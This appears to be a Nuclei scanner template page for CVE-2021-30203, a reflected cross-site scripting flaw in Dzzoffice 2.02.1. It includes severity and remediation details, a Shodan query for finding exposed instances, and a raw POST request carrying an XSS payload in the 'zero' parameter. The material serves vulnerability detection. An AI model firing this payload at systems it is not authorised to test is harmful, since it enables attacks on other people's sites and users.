CVE-2021-30203: Dzzoffice 2.02.1 - Cross-Site Scripting
- Template: CVE-2021-30203
- Name: Dzzoffice 2.02.1 - Cross-Site Scripting
- Description: Dzzoffice 2.02.1_SC_UTF8 contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML via the zero parameter.
- Impact: Attackers can inject malicious JavaScript via XSS in the zero parameter, potentially stealing session cookies or performing unauthorized actions.
- Remediation: Upgrade to Dzzoffice version 2.02.2 or later.
- Severity: high
- Authors: arafatansari
- Tags: cve, cve2021, dzzoffice, xss, vuln
- References: https://github.com/zyx0814/dzzoffice/issues/183, https://nvd.nist.gov/vuln/detail/CVE-2021-30203
- Cves: CVE-2021-30203
- Verified: yes
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2021/CVE-2021-30203.yaml
- Digest: 490a00463044022020ba0cce5a8f31866551de084572517aabff33277cdb614cf55acbc5efc6dcf602203865727292417a06fc9d8bd6cbc992e2c041ec44e1dbd322d85a43f331d95aca
- Created at: 2022-08-14T04:45:36Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 1563
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-30203.yaml
Classification
- Cwe: CWE-79
- Cvss score: 7.2
- Cvss vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
- Epss score: 0.00596
- Epss percentile: 0.49442
- Cpe: cpe:2.3:a:dzzoffice:dzzoffice:*:*:*:*:*:*:*:*
Metadata
- Max-request: 1
- Product: dzzoffice
- Shodan-query: http.html:"dzzoffice"
- Vendor: dzzoffice
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| dzzoffice:dzzoffice | yes | /v1/products/dzzoffice/dzzoffice |
Labels
- Name: dzzoffice - Reflected XSS
- Impact: Attackers can execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or redirection.
- Remediation: Implement proper input sanitization and output encoding for the 'zero' parameter.
- Vulnerability type: reflected_xss
- Vulnerability impact: client_script_exec
- Requirement type: user_interaction
- Requirements: Victim needs to click on a malicious link
- Labels source: projectdiscovery
- From cve: CVE-2021-30203
```yaml
id: CVE-2021-30203
info:
name: Dzzoffice 2.02.1 - Cross-Site Scripting
author: arafatansari
severity: high
description: |
Dzzoffice 2.02.1_SC_UTF8 contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML via the zero parameter.
impact: |
Attackers can inject malicious JavaScript via XSS in the zero parameter, potentially stealing session cookies or performing unauthorized actions.
remediation: |
Upgrade to Dzzoffice version 2.02.2 or later.
reference:
- https://github.com/zyx0814/dzzoffice/issues/183
- https://nvd.nist.gov/vuln/detail/CVE-2021-30203
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cve-id: CVE-2021-30203
epss-score: 0.00596
epss-percentile: 0.49442
cwe-id: CWE-79
cpe: cpe:2.3:a:dzzoffice:dzzoffice:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
shodan-query: http.html:"dzzoffice"
product: dzzoffice
vendor: dzzoffice
tags: cve,cve2021,dzzoffice,xss,vuln
http:
- raw:
- |
POST /index.php?mod=system&op=orgtree&do=orgtree HTTP/1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
id=%23&nouser=0&moderator=0&zero=<img+src=x+onerror=alert(document.domain)>&stype=0&range=0&showjob=0
matchers-condition: and
matchers:
- type: word
words:
- '"text":"<img src=x onerror=alert(document.domain)>'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
digest: 490a00463044022020ba0cce5a8f31866551de084572517aabff33277cdb614cf55acbc5efc6dcf602203865727292417a06fc9d8bd6cbc992e2c041ec44e1dbd322d85a43f331d95aca:922c64590222798bb761d5b6d8e72950
```